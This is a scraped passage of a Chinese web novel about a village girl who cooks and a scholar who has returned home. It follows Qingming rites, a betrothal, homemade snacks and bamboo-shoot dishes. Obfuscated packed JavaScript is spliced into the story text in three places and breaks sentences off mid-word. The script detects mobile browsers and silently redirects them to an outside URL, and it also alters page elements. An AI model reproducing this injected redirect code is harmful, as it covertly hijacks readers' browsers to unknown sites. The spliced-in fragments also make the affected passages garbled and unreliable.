卫昭倒是没多大事,事情都过去这么多年了,她其实有在慢慢走出来,只是今日突然想起了当年爹娘在时的事情,又碰上楚恒坦言身世,一时间情绪被叠加冲击,所以才会提不起精神。 但人嘛,总归是要向前看的。 第二日卫昭便又风风火火地开始扛着锄头种地。 韭菜、菠菜、芥菜、萝卜、冬瓜、豌豆、葱、姜、蒜…… 选种、催芽,一样菜分一块地,忙着忙着,地就种满了。 等韭菜冒出一层绿衣时,清明到了。 楚恒在家中摆上祭祀用的三牲,有鸡、鱼、猪肉,还有他买好的纸衣、纸钱。 按照习俗,祭祀该由族中长者主持,因着楚家是搬迁来此地的外姓人家,并无亲眷,只能由卫长福这个村长来指点一二。 他一句一令,楚恒便紧跟着跪地焚香。 一套流程下来,那刻着他爹娘名字的牌位终于在这个老宅得以供奉。 他还需去林中扫墓。 上溪村许多人家的坟地都在雀儿山下的一片林子里,那里有一片属于上溪村的地界。 往来的人皆提着篮筐,行色匆匆。 楚家的墓地有卫家看顾,其实并不显得杂乱。 尚未出生时祖宗便都没了,楚恒不知同祖宗他们说什么,等纸钱烧完了,他沉默着下了山。 半路却遇到了卫昭。 卫昭的眼眶红红的,一看便是哭过。 楚恒犹豫了一下,还是说道:“我想去看一下远山叔他们。” 长辈离世,他直至今日才去看望,已经是失礼了。 卫昭今日不想笑,只是点了点头,转身带着他走了回去。 楚恒有些不适应,她其实还是那如朝阳般明媚的样子最好看。 意识到自己在想什么,楚恒恨不得给自己一巴掌,今日这种日子,他怎么净想着这些事。 上完香,他便随着卫昭离开。 他想开口安慰几句,却发现不管说什么好像都是徒劳。 他知道其中难受的滋味,却还是想能说些话,令她宽慰几分。 他这欲言又止的样子看着可真让人难受。 卫昭停下脚步,转身走到了林子中一个大石头上坐下。 楚恒紧随其后。 卫昭把篮筐放在一边,问他:“你想和我说什么?” 楚恒憋了半天,最后还是选择实话实说:“我想安慰你,却不知该说些什么。” 他能想到的话别人也都对他说过,他并不觉得有用,以至于现在想说给卫昭听,自己就先给否定了。 他这幅样子可真稀奇,卫昭的心情莫名有些变好了。 她掀开篮子,里面装着祭祀后的祭品,她从中拿出一个密梳状的细条饼子,细条顶部相连,中间散开,色泽金黄。 她轻轻一掰,这细环饼就碎成了两半,只听声音便知其何等酥脆。 卫昭将其中一半给楚恒递了过去:“我炸的细环饼,尝尝?” 这是清明节特有的食物,村里每年都要炸。 细环饼一入口便觉咸香适宜,咬起来格外酥脆。 就是太容易碎了些,楚恒吃的小心翼翼。 细环饼是他们安州府一带的特色,他在京城中甚少见过,这么多年,都快忘记了,曾经每年清明,家中总是要炸一些的。 卫昭的眼神看着远方,话却是对着楚恒说的:“你没必要这么小心翼翼,我很坚强。这么多年都走过来了,我发现其实也没什么大不了,只是每每遇到一些节日,情绪总有一时控制不住的时候。” 她从家中受宠的女儿,变成人群中最孤独的独行者,学会的最重要的事情就是勇敢地面对接下来的生活。 可再是勇敢,她也该有能够释放悲伤的时候。 楚恒看着她,这个方向只能看到她的侧脸。 少女的神色中,透漏着一股坚毅。 正如她所说,她其实很坚强,很勇敢。 她虽怀念过去,却也不曾忘记接纳现在、迎接未来。 京中不少人说他智多近妖,心性坚定异于常人,可楚恒觉得,自己不如她。 哪怕已经手刃仇敌,报仇雪恨,他做出的选择,却是逃回这个儿时的避难所。 手中又被塞了一碗吃食。 卫昭晃了晃她手里的那一小碗,“这是稠饧,可甜了。” 是清明时节吃的,可以冷食的浓稠饴糖。 楚恒舀了一勺入口,很甜,还带着谷物的焦香。 “怎么样?吃了这个有没有觉得心情好一些?” 卫昭享受着眯了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901523|176659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眯眼,随后问道。 楚恒一时失笑,他们二人到底是谁安慰谁啊。 从卫昭那里混了个八分饱回家,楚恒看了眼供奉台上的烛火,今日这火不能灭。 只是出去了一趟,回来再看爹娘的牌位,心中竟奇异地平和了许多。 他还跟他们提起了别的:“爹、娘,卫昭昭如今很会做吃食,她做的东西都很好吃。” 牌位无言,香烛缥缈,楚恒跪坐在蒲团上,默默念起了那已经念过无数遍的往生咒。 另一边,卫昭提着空了大半的篮子回到家,樊桂花一看她的动作,便知道东西剩不了多少。 “这回带去这么多东西,怎么都吃了?” 往年也没见吃这么多。 卫昭嘿嘿笑了笑:“我饿嘛。” 孙女每年清明都要坐在外面吃一顿甜食,樊桂花从不忍心管,如今也只是问问,卫昭一插科打诨,也就混过去了。 祖孙二人转眼又聊起了别的,商量家中的菜园子出苗后怎么间苗打理,商量牲畜过段时间要换一种别的喂法,商量清明过后卫吉祥那边也该定亲了…… 好似除了清晨的祭祖扫墓,一切就如往日的每一天一样。 可农家的日子,不就是这么过下来的吗? 日复一日,年复一年。 日出而作,日落而息。 “啊!娘,你轻点,疼疼疼……” “你还知道疼?!老娘我喊了你八百遍不见你回家,就知道在河边掏那个螃蟹洞,你也不怕窜出条蛇给你咬了?!你没见太阳都下山了?!” …… 卫昭瞥了眼只留一线的太阳,觉得卫丰宝这顿打好像也不冤。 不过梨花嫂子的劲头儿是真足啊,打个孩子跟种地一样,日出开打,日落了结。 这边卫丰宝还没嚎完,远处一户家里又来了一阵哀嚎。 卫昭感慨了句“小孩子真可怜”,然后又美滋滋地滋溜了一口粥。 香! 饭刚吃完,胡娟便一脸喜意的上门了。 樊桂花一看她这个表情心中就有数了,“成了?” 胡娟笑得见牙不见眼,连连点头:“成了成了,我找人算了,后日是个好日子,咱家那天去李家下聘。” 李清荷那姑娘她可是一眼就相中了,长得好看,人也利索,一想到人家姑娘将来会给她当儿媳妇,胡娟做梦都能给笑醒。 卫昭是认识李清荷的,不过不熟,想到卫吉祥前段时间那抓耳挠腮的样子,她也替他高兴,这亲事总算要定下来了。 胡娟道:“不出意外的话,今年夏天便能成亲,到时,咱们家又要多添一口子人了。” 樊桂花顺着她的心意接着说道:“指不定没几年又得多来个小的,到时伺候儿媳月子,你这个当婆婆的可要受点累了。” 受累就受累吧,儿子有了下一辈,让胡娟干啥乐意,再说了,“生孩子最累的还是当娘的,咱就搭把手,就这要是还嫌苦嫌累,这家可就不是一条心了。” 樊桂花笑眯眯地点头,“有你看着,这家指定越过越红火。” 卫昭想,她奶奶还怪会哄人的。 下聘是件大事,卫家本家人都要去女方家,显得重视。 樊桂花作为卫吉祥的堂奶奶,也是要去的。 17. 定亲六礼 定亲的前期事宜都是媒人在中间牵线搭桥,胡娟请的媒人是这十里八乡有口皆碑的王婆。 人家王婆说亲那必是要问明白个“门当户对”的,绝不敢把黑的说成白的,耽误了两家人。 王婆是个身材有些偏胖的中年妇人,逢人便带三分笑,一张嘴说话那是嘎嘣脆,有她在绝对不会冷场。 一大早她就赶来了卫家,见卫家备好了上门礼,没说话就先带上了满脸的笑。 跟卫家的长辈寒暄几句,再打趣一番卫吉祥,她便领着卫家人往李家去了。 卫昭作为小辈是不去的,她站在一旁看着“含羞带怯”的卫吉祥,猛不丁打了个激灵。 不得了,脸厚心黑的卫老大竟然还有这一面,太吓人了。 梨花嫂子朝她递了把南瓜子。 卫昭眼睛一亮,赶紧接了过来,“嫂子,你家怎么还有瓜子啊?” 梨花边嗑边说:“去年地里种的南瓜多,都存地窖里了,吃到了现在。” 不过,这玩意儿吃起来味道还是淡,梨花可惜道:“要是有西瓜子就好了。” 卫昭慢慢剥着,“等夏天就好了。”到时西瓜和西瓜子都有了。 说起西瓜,卫昭砸吧了下嘴巴,她有点想吃果子了。 现在这个时候,山中没什么水果,镇子里卖的又贵又少。 馋嘴了的卫昭走进了家中库房,挑挑拣拣,最后翻出了半袋花生。 家中有喜事,麦芽糖是少不了的。 所以卫昭准备做个花生酥。 她刚炒熟了花生,家中便来了人。 楚恒本在院子中看书,偶然听到上山的人路过他家时说起卫家今日好像有喜事,于是便来看看。 卫吉祥家中无人,只卫昭家中看着有人影儿。 卫昭见他来了,眼睛便是一亮,毫不客气地指挥他给自己捣花生。 楚恒一句话还未说,手中便被塞了一个杵子。 他无奈一笑,认命地开始干活。 见卫昭又开始在院子里架起小炉子,他不禁问道:“你这是要煮什么?” “熬些糖浆,我要做花生酥。” 安好炉子,卫昭拍了拍手上的灰尘。 楚恒发现卫昭好似特别喜欢甜食,他将这一点默默记下,问起了自己来此的目的:“今日吉祥去定亲了?” “是啊。”卫昭点头,“早些时日便算了他们的生辰八字,今日是去女方家正式定下婚约。” 林家同意了,卫家就会正式下聘礼。 即使是农家,也要遵循老祖宗留下来的“六礼”。 楚恒了然,若是婚期定下来了,他也该给卫吉祥准备一份贺礼。 他又问:“那你做糖是要当喜糖吗?” “不是啊,是我馋了。” 卫昭说的坦荡:“今日梨花嫂子请我吃了南瓜子,我就想到了西瓜,有些馋了,家中东西不多,就翻到了些花生,这才准备做个花生酥。” 她的语气里不乏几分遗憾,楚恒想,她大概还是想吃些水果,只是如今没有。 这个季节也并非没有水果,而是春林镇没有。 楚恒捣花生的动作停顿了一下。 卫昭是个心大的,果子吃不到就算了,花生酥她今日必是能吃到的。 瓦罐中的糖浆渐渐熬煮成型,卫昭观察着火候,不停地搅拌,院子里的甜味越来越浓。 许是小孩子对零食太过敏感,隔壁被他娘困在家中不许出门的卫丰宝耸着鼻子就飘了过来。 “昭昭姑姑,你在做什么好吃的?” “花生酥。” 卫丰宝不停地咽着口水,眼巴巴地瞅着卫昭的锅,浑身散发着“我好想吃”的气息。 卫昭被他逗的不行,撵他去一边待着:“口水快流我锅里了,赶紧去旁边坐着,少不了你的。” 卫丰宝听话地往后挪,眼睛却是半分没离开过卫昭手下那口锅。 退着退着,他发现自己好像动不了了。 转身抬头一看,就看到这些时日总被他娘挂在嘴边的秀才公在捣花生。 卫丰宝是个自来熟的,手扒着一边的桌子,目不转睛地瞅着楚恒,问道:“你真是秀才公吗?” 楚恒还没说话,卫昭先叫了卫丰宝,“按辈分,你要叫他叔叔。” 卫丰宝从善如流地改口:“叔叔,你真的是秀才公吗?” 楚恒点了点头,他以前确实考过了秀才功名,当然,后来也考过别的。 只是这些,他并不觉得有必要和他人说,毕竟在农家,只是考过童生试就已经很厉害了。 见他点头,卫丰宝又问:“那你要教我们读书吗?” 楚恒将捣好的花生碎过筛,闻言便问他:“你想我教你吗?” 卫丰宝呆了呆,然后很诚实地摇了摇头:“不太想。” 以为自家儿子终于知道上进了,主动给自己找老师的梨花听到卫丰宝的话差点没气死。 卫昭在另一边憋笑,余光瞥见梨花嫂子气咻咻地往这走,赶紧给卫丰宝打手势,结果这小孩对这个他娘口中的秀才公太好奇了,压根没看见。 直到耳朵被揪住,他连看都没看,直接开始扯着嗓子嚎:“娘,我错了……” 卫昭彻底憋不住了,笑出了声,就连楚恒也是忍不住勾起了唇角。 倒霉孩子被他娘带回家修理了,卫昭看糖熬的差不多了,便将花生碎倒了进去,快速翻拌,随后倒在了案板上,用擀面杖压实,给它定型,趁热切成适合入口的条块。 好不容易等到糖浆冷却,卫昭迫不及待地捏起一块吃了起来,一口下去,酥脆又香甜,她忍不住眯了眯眼睛。 她眉眼弯弯,一看便知这花生酥极合她心意。 楚恒也跟着吃了一块。 卫昭一口接一口地吃着,“要是有芝麻,再放些芝麻,这花生酥一定会更香。” 今年家里一定要多屯些芝麻留着。 楚恒觉得现在就已经很好了,他不怎么吃甜食,最苦的那几年吃东西只是为了活命罢了,药罐子当久了,也尝不出别的味道。 倒是回了上溪村,被卫昭这个小村厨带着,尝遍了酸辣咸香,吃的更多的,还是甜。 卫昭收拾了一些花生酥给隔壁卫丰宝送了过去,倒霉孩子挨了打,要是再没了吃的,那指定要嚎到三更天。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901524|176659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>梨花嫂子家在卫昭家西边这户,东边那户楚恒没见有人出来过,也不记得是谁家了,等卫昭回来,他便问了一句。 卫昭道:“那家早没人住了,一家都搬去了平川县城。” 他家后面的空地被樊桂花出面买了下来,用来种菜,只是房子他想卖也卖不出去。 村子里的人家都各自有宅基地,而且村子才重新规整了没几年,没人想动地方来这片老宅子。加上这些年风调雨顺,也没什么要举家搬迁至此地的人家,这房子便在此荒着了。 楚恒本也是闲谈,知道了就不再问了,陪卫昭等到卫家其他人从李家回来,他便离开了。 临走时还拿了一份花生酥。 看卫家众人那喜气洋洋的模样,想必是好事将近了。 果不其然,没多久村子里便传出卫吉祥定亲的消息,成亲的日子被定在了五月底。 时间还有两个多月,中间还有个麦收,农家婚礼即使简化了些,但这般下来也有些赶。 要提前准备成亲当日宴请宾客的食材和零嘴,还要准备好婚礼之后的回礼,胡娟每日都忙的风风火火。 吃食方面少不了卫昭也要搭把手,胡娟隔一会儿想了点什么就跑过来交代几句。 得亏两家离得不远,不然她一双腿都得遛细了。 再次把人送出去,卫昭有些心累地坐在板凳上。 樊桂花便道:“你伯母这是刚刚给儿子定下亲事兴奋的,过两天她自己就缓过来了。” 卫昭点了点头,但愿吧,她现在一听大伯母叫她名字就犯怵。 樊桂花好笑地摇了摇头,手上搓着麻绳的动作却慢了几分。 昭昭在卫家这一辈中排行第二,吉祥已经定亲了,按理来说,下一个便该她了。 这娶媳妇和嫁女儿,心情到底是不一样,想到昭昭以后要嫁人,她这心里如何也放不下。 卫昭并不知道她奶奶所想,她的心思如今都跑到了雀儿山上。 山中野物疯长,她正盘算着什么时候再去一次山里采些野菜菌菇,收拾好了在家中烫个锅子。 这些日子也不知为何,总是有些馋。 说干就干,第二日卫昭便背上背篓,带着三斤进了山。 荠菜、马齿苋、蒲公英、婆婆丁……看到什么她就摘什么,只要能吃的都不放过。 在山上看见香椿芽树出芽了,她也给薅了回来。 回来的路上看到柳芽和榆钱,又没忍住开始爬上树去摘。 将远处出门散心的楚恒看得眉心直跳,又不敢大声喊,生怕把她惊了再摔下来。 倒是卫昭看见了他,还高兴地在树上冲他摆摆手打了个招呼:“楚恒哥,晚上来我家吃锅子啊。” 楚恒嘴里应着什么自己都不知道,视线压根不敢离开卫昭的身上,到了树下还想伸手护着,结果卫昭灵活得跟个猴子一样,三两下就下来了。 楚恒默默松了口气,忍不住劝说:“一个人爬树太危险了,下次还是找人一起来吧。” 卫昭不争辩,“嗯嗯”地应着,长辈的劝导她一般都应承的可好了。 楚恒:…… 总觉得她没入心。 18. 野菜火锅 第18章 卫昭家中有专门煮锅子的锅具,作为村厨,她家其他东西不一定全,但各种锅具那指定是有个差不多的。 回到家,卫昭便先把半路拐去卫三叔家新买的猪骨头提前给炖上了。 哦,猪骨头是楚恒付的钱,他看卫昭要买肉才想起自己还欠着三斤一顿肉骨头。 怪不得最近这些时日三斤看到他总是一副懒洋洋的样子,没有以前热络了,原来是他没讲信用。 加上楚恒,家中只三个人,收拾起食材来费不了多少时间。 将猪肉切成薄片,再把新摘的野菜清洗干净,洗菜的水直接往菜地里一泼,便可以坐到桌边等着了。 家中的芝麻酱、酱油、醋都是自家酿的,再切点姜蒜末调和各料碗,蘸着吃提鲜又解腻。 菜一烫好,等樊桂花动了筷,卫昭跟着便迫不及待夹了筷子滑肉,在调好的料碗里一过,不管烫不烫的,紧接着就送入了口中。 不冷不热的天气里,来上一顿好吃的野菜火锅,这日子,真是神仙也不换。 肉片嫩滑,野菜保留着原有的味道的同时,也浸润了骨汤的浓香,彼此之间并不冲突,反而更加相得益彰,让味道挥发的更加极致。 楚恒很少吃火锅,也少有和人围坐在一起涮菜的经历,热气蒸腾中,好似这锅底的温度也熨烫在了心上。 此时此刻,看着身旁的一老一少,听着她们时不时的笑语,楚恒恍惚中又有了“家”的感觉。 那是他思念多年却始终回不去的时光。 这一顿饭吃完时,天色已经暗了下来,楚恒帮着收拾好了东西,踏着夜色回家,三斤跟在他身边送他。 托他特地买了带肉的大骨头的福,三斤在路上时不时便凑近他腿边蹭一下,没有直接丢下他就跑。 楚恒不由得笑了一下。 自从回到上溪村,他碰到的好似都是这般直白的心思。 有些势力见“肉”眼开的三斤,有些嘴贱但为人热忱的卫吉祥,沉默讷言却赤城的卫吉勇,有些小心思但为人不坏且热心的村民…… 还有总是能察觉到他的落寞心思,在他处在心情低谷时给他一抹温暖的卫昭…… 他竟然有些开始贪恋这人间了。 可人该知足的,有这些就够了。 再多了,他留不住,也没有机会能留住。 孤寂的山脚下亮起一盏微弱的烛光,摇摇晃晃。 卫昭也有察觉不到他人心思的时候,至少现在是。 她捂着被子,抱着个汤婆子蜷缩在床上,整个人肉眼可见的蔫巴了。 樊桂花端着一碗醪糟红糖鸡蛋进了屋,见她这样,有些心疼,嘴上却忍不住念叨:“平日里总让你少碰些凉水,你总不听,现在难受的还不是你自己个儿?” 卫昭挣扎着坐起来,接过碗,趁热拿起勺子就开始喝。 对于樊桂花的数落,她是一句声都不敢出。 她怕挨打。 她都这么大了,要是还被奶奶揪耳朵,那她可就真太没面子了。 不过,怪不得她最近这么嘴馋,原来是要来月事了。这些时日忙来忙去,一直没见停,她一时没想起来数日子。 一碗醪糟红糖鸡蛋水喝完,见樊桂花还想继续念叨,卫昭蔫蔫地撒娇:“奶奶,我好困。” 点了点她的脑袋,樊桂花摸了摸汤婆子的温度,觉得正好,便拿着碗出去了。 卫昭躺下就睡了,直到过了午时才醒。 午饭主食煮的粥,里面放了不少豆子和红枣。 卫昭疑惑:“咱家还有红枣吗?”她怎么不记得了? 樊桂花看了她一眼,说道:“咱家没有,这是午时小恒送来的干枣,那边还有一包糕点。” 樊桂花指了指一旁的条案上包裹得严严实实的油纸包。 卫昭愣了一下,“他去集市了?” 她算了算日子,今天好像正是赶集的日子。 樊桂花点了点头,见孙女还是那副迷迷瞪瞪的模样,她没再说什么。 年轻人的事情,她还是别参与了,是好是坏,都该让他们自己去经历。 卫昭确实没有这个年纪的女孩子被同龄异性男子关心后的别样心思,在她看来,以他们两家人的关系,楚恒做的这些事和由卫吉祥做出来没什么区别。 她如今脑子转的有些慢,粥都喝了一半了,才想起来问:“他怎么想起来送红枣了?” 说起这个也是巧了。 今日卫昭难受歇着,家中的活计却不能歇,樊桂花年纪大了,做起来有些慢,晨起去打水便比平时晚了不少,村里不少人都看见了。 楚恒也不知道听谁说的,到家里来关心了几句便走了,谁知过了一个多时辰便带了一大堆东西从集市上回来,给她家送了过来。 卫昭听得一愣一愣的,感觉哪儿哪儿都透着一股不对劲,却怎么也说不上来。 直到她身体好了,准备喊着卫吉祥、卫吉勇和楚恒上山挖笋时,见到楚恒后,她后知后觉发觉自己好似应该有点羞涩的。 谁家未出阁的大姑娘被个没有血缘关系的年纪相仿的男子关心月事痛能像她刚开始时那么淡定啊? 楚恒倒是没想太多,现在还关心记挂着她的身体:“你还难受吗?” 卫昭尴尬地笑了笑,不敢抬头:“早就好了。” 不过,她还是很好奇:“你那天去我家是有什么事吗?” 两家离得不近,楚恒又是个大门不出二门不迈的,到底是从哪知道的呢?别是真有什么事吧? 楚恒便道:“那日清早我在外散步,听人说起花奶奶打水时好像闪了一下,担心她有事,便去家中看了一眼。” 这事儿卫昭并不知道,她拧了拧眉,奶奶怎么都不跟她说呢。 见她皱眉,楚恒赶忙说道:“你放心,花奶奶没事。” 见她的思绪被转移到了别处,楚恒注视了她片刻,随后移开了视线。 其实那天他听到的不止这些。 那日屋后山来了个不请自来的“小客人”,锲而不舍地挖他的房子,楚恒一夜睡得不安稳,一早便起床去和那只小刺猬“斗智斗勇”了。 他待的是上山的必经之路,村子里的妇人没看到他,说话 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卫吉祥的手在他眼前晃了几下,“发什么呆呢?看路。” 楚恒盯着他看了一眼,后又挪开视线应了一声。 卫吉祥一脸莫名,“怎么了?我身上有哪里不对吗?” 楚恒摇摇头,没再说话。 卫吉祥是卫家这一辈里的老大,未来许是也要当这上溪村的村长,作为卫昭的哥哥,他理应对卫昭多照顾几分,可他终究不是亲哥,能依靠的有限。 楚恒的视线不由得又落在了卫昭的身上: 所以,她倔强,样样拿手,事事要强。 奶奶未来要依靠她,而她只有自己了。 一路思绪繁杂,他也没注意到周围的环境,在卫昭的一声“到了”中,他才发现此行的目的地已经到了。 竹林在雀儿山的东部的半山腰处,天然形成多年,林木高大。 林子大了,每年的新笋便也少不了,如今正是挖春笋的好时候,林子里走一段路便能碰到人。 他们来的时间不算早,也不算晚,林子里还有些好地方。 挖笋要挖笋尖刚露出来或者地面开裂鼓包没露出来的那种,这种笋的口感最鲜嫩,再晚的就不好吃了。 卫昭跟楚恒交代好,又亲自上手演示了一遍,确保对方真的学会了,这才放心。 几人分头寻找。 挖笋是个体力活,隔段时间卫昭便喊他们休息一会儿,她将上次做了却没吃完的花生酥都拿来了,当零嘴填填肚子补充些体力。 卫吉祥看着背篓里的竹笋砸吧了下嘴巴:“平日里没有也不觉得馋,现在看到这么多竹笋却不能吃,我还真有些馋这一口了。” 卫昭和卫吉勇也有点想吃,可这东西做起来费时间,他们现在也做不成。 看着卫昭那副被卫吉祥勾起来的馋猫样,楚恒脑中突然闪过了以前曾看的一本杂书上的内容。 “有道菜,或许现在就能做。” 19. 一笋三吃 在林笋正可食用的季节,直接在竹林边扫一堆叶子将其煨熟,这种做法能最大程度保留竹笋的原汁原味。 此菜名为傍林鲜。 卫昭听到楚恒的描述后若有所思,她在附近转了一圈,瞅中了一块石头旁的空地,喊他们三人一起动手清理出来,再用锄头挖出一个合适大小的坑。 林中最不缺的就是败落的枯枝和竹叶,一扫便是一堆,卫昭都丢进了坑里,点上了火。等火烧的差不多了,卫昭直接挑了几个竹笋扔进去用锄头勾着埋了起来,用余火余温将其煨熟。 四人围着火堆眼巴巴地等了一会儿,卫昭几人就把楚恒这个干活不麻利的给撇下看着火堆,继续去挖笋了。 这竹笋摘了不光是用来留着自家吃,还能拿去源昌货行卖了,一点儿都耽搁不得。 等他们再次歇息的时候,坐在石头边已经能闻到竹笋的鲜香了。 燃烧后的灰烬还带着点余温,用锄头把竹笋勾出来,卫家三兄妹便迫不及待伸手去拿,结果又被同时烫的松手,那吱哇乱叫的模样真像是一脉相承来的。 楚恒默默弯了下嘴角。 不过食物再烫也阻挡不了吃货的心。 几人拿着锄头将竹笋在地上来回滚了几下,手能碰了,就赶紧捞起来,小心翼翼地扒开竹笋的外衣,露出里面能吃的肉。 外衣炭黑,里肉却是带着些许青色的白,竹笋的鲜香中还带着几分碳火的味道,说不出的勾人。 烤的竹笋很快便被分了个干净,但看他们四个的模样,显然是没有吃够。 卫吉勇的双眼中燃起斗志,扛起锄头又开始在四周找了起来。 他得多找点留够自己吃的,不然背篓里这点都要被娘拿去卖了。 因着有了这道美食,四人中午压根没下山,围着火堆又吃了一顿当做午饭,下午一直干到太阳将要落山才扛着装满了的背篓回家。 回去的路上卫昭眼巴巴地盯着楚恒说道:“楚恒哥,你看的书里还有没有写过别的吃食?你还能记起来吗?” 小姑娘的模样实在可怜,楚恒又努力回忆了半天,才想起了和“傍林鲜”一同为竹笋的特色吃法的“煿金煮玉”。 “煿金”是将笋裹上一层调好的薄面后用油煎,色如黄金;“煮玉”则是将鲜笋切成方片,和白粥一同熬煮,味道甚佳。 卫昭听得十分仔细,还时不时问问其中细节,许是被她那股专研的认真劲儿感染到了,楚恒不由得说了许多。 只是这些也不过是他偶有闲情逸致时随意翻阅的杂书上写的,纵然他有着天生的好记性,能回忆起来的也有限。 看着对吃食一道如此热衷的卫昭,楚恒开始默默盘算起了曾经看过的书籍,那些于他而言只是消遣的杂书,在卫昭那里应当能发挥更好的用处。 只是他于食之一道并不精通,可以说是一个完全的门外汉,除了他白日偶然回忆起的那本山间食谱,一晚上都没再琢磨出别的食谱书籍。 心中压着事,他一早便醒了过来,在院中徘徊许久,终是进了书房磨墨提笔。 当日不辞而别,如今归家已有一月,也该给京中故人报个平安了。 正琢磨着找个时间去镇上的民信局寄信,楚恒便听到院门被人敲响了。 那紧随而至生怕他听不见的叫喊声,应当是卫吉祥无疑了。 楚恒不知为何很想叹气。 他过去开了门,还没问他有什么事,就被卫吉祥一把拉了出去。 “走,昭昭做了好吃的,一起去吃。” 嘴边的问话转了个圈又收了回去,楚恒顺着他出了家门。 卫吉祥给他将门锁一挂、钥匙一拔,转身就走了。 楚家这大门他也没少锁过,熟得很! 今日的早饭正是昨日说的“煿金煮玉”。 因为琢磨这两个菜,卫昭一早便爬了起来,在灶房折腾。 做好了还特地去了卫吉祥家喊人,请大家都来尝尝。 当然,楚恒这个“老师”是必须要请的。 农家人饭量大,油煎笋和笋片粥自然是不够吃的,卫昭还煎了几个馒头,又炒了个芥菜丝。 芥菜丝是用家里腌好的芥菜疙瘩炒出来的,配着粥吃,十分下饭。 一大早就聚集了不少人,这小院便显得分外热闹。 得知今日的两样主食是由楚恒口述得来,众人更加好奇,开动后纷纷朝着那煎的色泽金黄的嫩笋下筷。 一口煎笋配上一口笋粥,吃得众人眼前一亮。 以前只知竹笋可用来炖菜,没想到这两种吃法竟也十分不错。 没有其他食材与它争夺口感,竹笋的鲜香被完全激发了出来。 众人一边吃着,一边夸起了卫昭和楚恒。 卫昭早就被夸习惯了,楚恒倒是有些不好意思,他其实并没有做什么。 “我只会背书,若非昭昭厨艺好,这菜也做不了这么好吃。” 书谁都能看能背,但好的厨艺才是这一切的根本。 卫昭不由得看向他,眨了眨眼,以前不觉得,这好似还是他第一次叫自己的小名。 一顿饭吃罢,便又要开始上山,这笋要连续挖上好几天,中间囤够数了,可以提前给源昌货行送过去。 今日再来竹林,没挖几个,楚恒便觉得掌心磨的难受。 他平日拿笔杆子多,这般连着两日扛锄头,终是有些受不住。 楚恒看着磨红的手掌默默叹气。 刚想不去管它继续干活,手中便被塞了一副手套,料子摸着像是粗麻。 卫昭自己也拿了一副戴上,见楚恒看她,便道:“是奶奶做的,昨日提前塞给我了,我一时没想起来。” 平日也没用过这个,要不是看楚恒刚刚有些难受,她都差点忘记自己还有手套了。 怪不得奶奶破天荒将刚织好的麻布先做成了手套,原来是给楚恒用的。 她估计就是个顺带的! 卫昭心里有点小酸。 这些楚恒是不知道的,带上手套确实干活方便一些。 都说熟能生巧,他如今挖笋也算是个行家了,几日下来,积攒了不少。 他一个人生活,消耗的也少。 在被问及要不要一同送去源昌货行卖钱时,他想了想,并没有答应,而是去问卫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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而在经过卫昭手把手的教导之后,楚恒在晒笋干上也有了一些经验,自己在家中将剩余的竹笋都晒成了笋干。 等这两样都做好了,他分出了足够的份量,便托人将之送往京城,那封信经过修修改改,也被放入其中。 辗转一旬,这些东西被送入了京中的谢元帅府。 听到管家的话之后,谢怀钰忍不住掏了下耳朵,问道:“你说谁送了什么东西?” 楚恒? 送了腌酸笋和笋干? 老天爷,他表弟这是经历了什么? 这种百姓家的平凡吃食是怎么和他那个光风霁月,气质淡然到看起来都快成仙了的表弟扯上关系的? 更别提他看到楚恒的信后,知道这两样竟然还是他自己做的?! 谢怀钰:…… 一定是他今天起太早了,脑子都不好使了。 谢逸然没理会她那抽风的亲哥,兴致勃勃地让人给她拿碗筷,掀开陶罐,夹了条腌笋便开始吃。 楚恒知道谢家人的口味,做了辣和不辣的两种腌笋。 谢逸然都尝了尝,最后抱着辣腌笋不撒手,“我晚饭就要吃这个!” 谢怀钰伸手就抢,“给我尝尝。” 东西够吃,但这兄妹俩硬是为了口吃的抢的不可开交。 谢旭林回来,看到这一幕额头突突地跳。 “你们俩又闹什么呢?” 20. 柳枝花环 谢逸然抱着陶罐跑到谢旭林的身后躲起来告状:“爹,哥抢我吃的!” 谢怀钰一句绝杀:“什么你的,那是老二寄回来的。” 谢旭林惊讶,伸手把躲在身后的闺女揪了出来,又一把将陶罐薅了过来。 谢逸然抓了抓空了的手掌,一脸悲愤地看着她爹,敢怒不敢言。 她还没吃够! 谢旭林一只手抱着陶罐坐到了座椅上,另一只手里拿着刚刚谢怀钰递给他的信。 翻来覆去地看了三遍,谢旭林总算是相信这是他大外甥写的了。 走南闯北,大大小小打了数不清的仗的谢大元帅此刻眼睛竟是猛的一酸。 私底下小动作没断过,但一直分不出胜负的兄妹二人见此,默默停下动作站在一旁不敢出声。 其实他俩到现在都有点没缓过神来,不明白楚恒怎么会写这么一封信,送这些山野吃食回来? “怀钰,”谢旭林叫了儿子一声。 等谢怀钰应声,他将信放在桌子上,说道:“这几天给小恒找些他要的书籍,京中汇聚了五湖四海八方客,特色馆子多的是,多花些钱,再找一些食谱方子。多找一些,一同给他寄过去。” 想到儿子的性子,他不得不在最后又加一句:“礼貌一点,别让你老子我去衙门捞你。” 谢逸然憋笑,没出声,但当着她哥的面笑得明目张胆。 谢怀钰瞪她一眼,转头又对着他爹唯唯诺诺地“哦”了一声。 